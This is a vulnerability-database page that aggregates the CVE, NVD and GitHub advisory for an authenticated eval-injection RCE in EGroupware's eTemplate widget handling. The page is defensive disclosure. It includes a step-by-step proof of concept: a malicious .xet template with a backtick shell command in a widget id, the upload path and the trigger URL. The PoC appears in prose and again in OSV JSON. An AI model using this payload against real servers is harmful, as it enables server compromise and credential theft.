Vulnerability-Lookup

CVE-2026-40187 (GCVE-0-2026-40187)

Vulnerability from cvelistv5 – Published: 2026-07-20 17:00 – Updated: 2026-07-20 17:34

Title

Authenticated RCE via Malicious eTemplate Upload in EGroupware

Summary

In egroupware version 26.0 and earlier, an authenticated administrator can achieve OS-level Remote Code Execution (RCE) by uploading a malicious eTemplate XML file (`.xet`) to the VFS `/etemplates` mount. The `Widget::expand_name()` method passes template widget attribute values directly into a PHP `eval()` call with only double-quote escaping applied - **backtick characters are not escaped**. In PHP, backticks inside a double-quoted `eval()` string execute shell commands. This allows an admin-level user to escalate from web application access to arbitrary OS command execution on the server.

Severity

8.6 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-20 17:33 UTC

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
CWE-95 - Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/EGroupware/egroupware/security…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
EGroupware	egroupware	Affected: <= 26.0	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-40187

Vulnerability from fkie_nvd - Published: 2026-07-20 17:17 - Updated: 2026-07-23 18:04

Severity

8.6 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/EGroupware/egroupware/security/advisories/GHSA-8737-2x9g-xjj7
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/EGroupware/egroupware/security/advisories/GHSA-8737-2x9g-xjj7

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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GHSA-8737-2X9G-XJJ7

Vulnerability from github – Published: 2026-07-07 13:01 – Updated: 2026-07-07 13:01

Summary

EGroupware has Authenticated RCE via Malicious eTemplate Upload

Details

Summary

An authenticated administrator can achieve OS-level Remote Code Execution (RCE) by uploading a malicious eTemplate XML file (.xet) to the VFS /etemplates mount.

The Widget::expand_name() method passes template widget attribute values directly into a PHP eval() call with only double-quote escaping applied - backtick characters are not escaped.

In PHP, backticks inside a double-quoted eval() string execute shell commands. This allows an admin-level user to escalate from web application access to arbitrary OS command execution on the server.

Details

The vulnerability is located in api/src/Etemplate/Widget.php, Widget::expand_name(): (lines 703–728)

The method is designed to expand PHP variables (e.g., $row, $col,$cont[id]) in widget attribute values for auto-repeat grids. The eval() is triggered whenever $name contains a $ character (line 706). The only sanitization applied before the eval is:

str_replace('"', '\\"', $name)

This escapes double quotes only. Backtick characters are not escaped. In PHP, backticks inside a double-quoted string in eval() are treated as shell execution operators — equivalent to shell_exec(). A widget id of $row\id`` produces:

eval('$name = "$row`id`";');  // executes shell command: id

expand_name() is called from:

form_name()
expand_widget()
set_attrs()
Template::run()

The /etemplates VFS path is created exclusively for admin users — it is chgrp'd to Admins and chmod'd to 075 (Admins group has full rwx): class.filemanager_admin.inc.php:95-106

Custom templates in /etemplates take precedence over built-in filesystem templates, meaning a malicious template can silently override any existing application template.

Mitigating factor: The official Docker deployment sets disable_functions = exec,passthru,shell_exec,system,proc_open,popen in php.ini, which also blocks PHP backtick execution (backticks internally call shell_exec). Non-Docker or non-hardened deployments without this php.ini setting are fully vulnerable. Dockerfile:47

The current master branch in api/setup/setup.inc.php, confirming the vulnerability is present in the latest code as of today. setup.inc.php:14-17

Proof of Concept (PoC)

Prerequisites

Admin account
Non-Docker deployment, or Docker deployment where disable_functions has been removed/modified in php.ini

Step 1 — Mount /etemplates:

Log in as admin, navigate to Admin → Filemanager → VFS Mounts, and click "Install custom templates". This executes the code in filemanager_admin.inc.php that mounts /etemplates with Admins-group write access.

Step 2 — Upload malicious template:

Create a file named index.xet with the following content:

<?xml version="1.0" encoding="UTF-8"?>
<overlay>
  <template id="admin.index">
    <grid>
      <columns><column/></columns>
      <rows>
        <row>
          <textbox id="$row`touch /tmp/pwned_egw 2>/dev/null`"/>
        </row>
      </rows>
    </grid>
  </template>
</overlay>

Upload this file to /etemplates/admin/templates/default/index.xet via the VFS filemanager.

Step 3 — Trigger execution:

Navigate to the EGroupware admin panel:

https://<target>/egroupware/index.php?menuaction=admin.admin_ui.index

When the template is loaded and beforeSendToClient() runs, form_name() calls expand_name() with $name = '$row\touch /tmp/pwned_egw 2>/dev/null'and$row = 0. The eval becomes:

eval('$name = "$row`touch /tmp/pwned_egw 2>/dev/null`";');

PHP executes the backtick expression as a shell command.

Step 4 — Verify:

Check that /tmp/pwned_egw was created on the server. For a more impactful demonstration, replace touch /tmp/pwned_egw with id > /tmp/pwned_egw to capture the web server's OS user identity.

Impact

Authenticated Remote Code Execution (RCE) via eval() with unsanitized shell metacharacters.

Who is impacted: Any EGroupware installation where:

An admin account is compromised or a malicious admin exists, AND
The server is not running with disable_functions blocking shell_exec (i.e., non-Docker or misconfigured deployments)

Severity

The vulnerability allows escalation from EGroupware admin-level web access to arbitrary OS command execution as the web server user (typically www-data). From there, an attacker can read configuration files (including database credentials), pivot to other services, or establish persistence. This is not exploitable by regular (non-admin) users. The official Docker deployment is not affected due to disable_functions, but bare-metal, VM, or custom container deployments without this hardening are fully vulnerable.

Severity

8.6 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 26.0.20260113"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "egroupware/egroupware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "26.0.20251208"
            },
            {
              "fixed": "26.4.20260413"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "egroupware/egroupware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "23.1.20260601"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40187"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T13:01:31Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAn authenticated administrator can achieve OS-level Remote Code Execution (RCE) by uploading a malicious eTemplate XML file (`.xet`) to the VFS `/etemplates` mount.\n\nThe `Widget::expand_name()` method passes template widget attribute values directly into a PHP `eval()` call with only double-quote escaping applied - **backtick characters are not escaped**.\n\nIn PHP, backticks inside a double-quoted `eval()` string execute shell commands. This allows an admin-level user to escalate from web\napplication access to arbitrary OS command execution on the server.\n\n------------------------------------------------------------------------\n\n## Details\n\nThe vulnerability is located in `api/src/Etemplate/Widget.php`, `Widget::expand_name()`:  (lines 703\u2013728)\n\nThe method is designed to expand PHP variables (e.g., `$row`, `$col`,`$cont[id]`) in widget attribute values for auto-repeat grids. The `eval()` is triggered whenever `$name` contains a `$` character (line 706). The only sanitization applied before the eval is:\n\n``` php\nstr_replace(\u0027\"\u0027, \u0027\\\\\"\u0027, $name)\n```\n\nThis escapes double quotes only. **Backtick characters are not escaped**. In PHP, backticks inside a double-quoted string in `eval()` are treated as shell execution operators \u2014 equivalent to  `shell_exec()`. A widget `id` of `$row\\`id`` produces:\n\n```\neval(\u0027$name = \"$row`id`\";\u0027);  // executes shell command: id\n```\n\n`expand_name()` is called from:\n\n-   `form_name()`\n-   `expand_widget()`\n-   `set_attrs()`\n-   `Template::run()`\n\nThe `/etemplates` VFS path is created exclusively for admin users \u2014 it is `chgrp`\u0027d to `Admins` and `chmod`\u0027d to `075` (Admins group has full rwx): class.filemanager_admin.inc.php:95-106\n\nCustom templates in `/etemplates` take precedence over built-in filesystem templates, meaning a malicious template can silently override any existing application template.\n\n\n**Mitigating factor**: The official Docker deployment sets `disable_functions = exec,passthru,shell_exec,system,proc_open,popen` in `php.ini`, which also blocks PHP backtick execution (backticks internally call shell_exec). Non-Docker or non-hardened deployments without this `php.ini` setting are fully vulnerable. Dockerfile:47\n\nThe current master branch in api/setup/setup.inc.php, confirming the vulnerability is present in the latest code as of today. setup.inc.php:14-17\n\n\n------------------------------------------------------------------------\n\n## Proof of Concept (PoC)\n\n### Prerequisites\n\n-   Admin account\n-   Non-Docker deployment, or Docker deployment where disable_functions has been removed/modified in php.ini\n\n\n### Step 1 \u2014 Mount /etemplates:\nLog in as admin, navigate to Admin \u2192 Filemanager \u2192 VFS Mounts, and click \"Install custom templates\". This executes the code in `filemanager_admin.inc.php` that mounts `/etemplates` with Admins-group write access.\n\n### Step 2 \u2014 Upload malicious template:\n\nCreate a file named `index.xet` with the following content:\n\n``` xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003coverlay\u003e\n  \u003ctemplate id=\"admin.index\"\u003e\n    \u003cgrid\u003e\n      \u003ccolumns\u003e\u003ccolumn/\u003e\u003c/columns\u003e\n      \u003crows\u003e\n        \u003crow\u003e\n          \u003ctextbox id=\"$row`touch /tmp/pwned_egw 2\u003e/dev/null`\"/\u003e\n        \u003c/row\u003e\n      \u003c/rows\u003e\n    \u003c/grid\u003e\n  \u003c/template\u003e\n\u003c/overlay\u003e\n```\nUpload this file to `/etemplates/admin/templates/default/index.xet` via the VFS filemanager.\n\n\n### Step 3 \u2014 Trigger execution:\nNavigate to the EGroupware admin panel:\n```\nhttps://\u003ctarget\u003e/egroupware/index.php?menuaction=admin.admin_ui.index  \n```\nWhen the template is loaded and beforeSendToClient() runs, form_name() calls expand_name() with $name = \u0027$row\\touch /tmp/pwned_egw 2\u003e/dev/null`\u0027and$row = 0`. The eval becomes:\n```\neval(\u0027$name = \"$row`touch /tmp/pwned_egw 2\u003e/dev/null`\";\u0027);\n\n```\n\nPHP executes the backtick expression as a shell command.\n\n### Step 4 \u2014 Verify:\nCheck that `/tmp/pwned_egw` was created on the server. For a more impactful demonstration, replace `touch /tmp/pwned_egw` with `id \u003e /tmp/pwned_egw` to capture the web server\u0027s OS user identity.\n\n\n\n------------------------------------------------------------------------\n\n## Impact\n\nAuthenticated Remote Code Execution (RCE) via eval() with unsanitized shell metacharacters.\n\nWho is impacted: Any EGroupware installation where:\n\n1. An admin account is compromised or a malicious admin exists, AND\n2. The server is not running with disable_functions blocking shell_exec (i.e., non-Docker or misconfigured deployments)\n\n------------------------------------------------------------------------\n\n## Severity\n\nThe vulnerability allows escalation from EGroupware admin-level web access to arbitrary OS command execution as the web server user (typically www-data). From there, an attacker can read configuration files (including database credentials), pivot to other services, or establish persistence. This is not exploitable by regular (non-admin) users. The official Docker deployment is not affected due to disable_functions, but bare-metal, VM, or custom container deployments without this hardening are fully vulnerable.",
  "id": "GHSA-8737-2x9g-xjj7",
  "modified": "2026-07-07T13:01:31Z",
  "published": "2026-07-07T13:01:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/EGroupware/egroupware/security/advisories/GHSA-8737-2x9g-xjj7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/EGroupware/egroupware"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "EGroupware has Authenticated RCE via Malicious eTemplate Upload"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-40187 (GCVE-0-2026-40187)

FKIE_CVE-2026-40187

GHSA-8737-2X9G-XJJ7

Summary

Details

Proof of Concept (PoC)

Prerequisites

Step 1 — Mount /etemplates:

Step 2 — Upload malicious template:

Step 3 — Trigger execution:

Step 4 — Verify:

Impact

Severity

Tags

Sightings

Nomenclature

Related by attack behaviour